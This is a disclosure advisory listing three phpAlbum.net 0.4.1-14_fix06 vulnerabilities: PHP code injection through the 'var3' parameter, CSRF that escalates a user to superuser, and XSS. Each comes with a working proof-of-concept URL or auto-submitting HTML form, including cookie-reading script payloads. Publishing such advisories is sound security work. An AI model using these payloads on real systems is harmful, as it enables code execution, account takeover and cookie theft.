phpAlbum.net 0.4.1-14_fix06 XSS / XSRF / Command Execution

`====================================  
Vulnerability ID: HTB22924  
Reference: http://www.htbridge.ch/advisory/arbitrary_command_execution_in_phpalbum_net.html  
Product: phpAlbum.net  
Vendor: Patrik Jakab ( http://www.phpalbum.net/ )   
Vulnerable Version: 0.4.1-14_fix06  
Vendor Notification: 31 March 2011   
Vulnerability Type: Arbitrary Command Execution  
Risk level: High   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
Arbitrary command execution vulnerability allows an attacker to execute system commands on a vulnerable system.  
  
The vulnerability exists due to failure in the "phpdatabase.php" script to properly sanitize user-supplied input in "var3" variable.  
  
The following PoC is available:  
  
http://host/main.php?cmd=setup&var1=user&var3=1-file_put_contents('./x.xxx','xxxx')  
  
  
====================================  
Vulnerability ID: HTB22923  
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_phpalbum_net.html  
Product: phpAlbum.net  
Vendor: Patrik Jakab ( http://www.phpalbum.net/ )   
Vulnerable Version: 0.4.1-14_fix06  
Vendor Notification: 31 March 2011   
Vulnerability Type: CSRF (Cross-Site Request Forgery)  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "main.php" script to properly verify the source of HTTP request.  
  
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/main.php" method="post" name="main">  
<input type="hidden" name="p_username_f" value="test">  
<input type="hidden" name="p_password_f" value="">  
<input type="hidden" name="p_retype_password_f" value="">  
<input type="hidden" name="p_email_f" value="[email protected]">  
<input type="hidden" name="p_homepage_f" value="http://www.example.com">  
<input type="hidden" name="p_group1" value="guest">  
<input type="hidden" name="p_group2" value="superuser">  
<input type="hidden" name="p_userid_f" value="USERID">  
<input type="hidden" name="cmd" value="setup">  
<input type="hidden" name="var1" value="user">  
<input type="hidden" name="var3" value="USERID">  
<input type="hidden" name="var2" value="update">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
====================================  
Vulnerability ID: HTB22922  
Reference: http://www.htbridge.ch/advisory/xss_vulnerabilities_in_phpalbum_net.html  
Product: phpAlbum.net  
Vendor: Patrik Jakab ( http://www.phpalbum.net/ )   
Vulnerable Version: 0.4.1-14_fix06  
Vendor Notification: 31 March 2011   
Vulnerability Type: XSS (Cross Site Scripting)  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "setup.php" script to properly sanitize user-supplied input in "var3", "p_new_group_name" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
1.  
  
http://host/main.php?cmd=setup&var1=user&var3=1"><script>alert(document.cookie)</script>  
  
  
2.  
  
<form action="http://host/main.php" method="post" name="main">  
<input type="hidden" name="cmd" value="setup">  
<input type="hidden" name="var1" value="groups">  
<input type="hidden" name="var2" value="add">  
<input type="hidden" name="p_new_group_name" value='1"><script>alert(document.cookie)</script>'>  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
`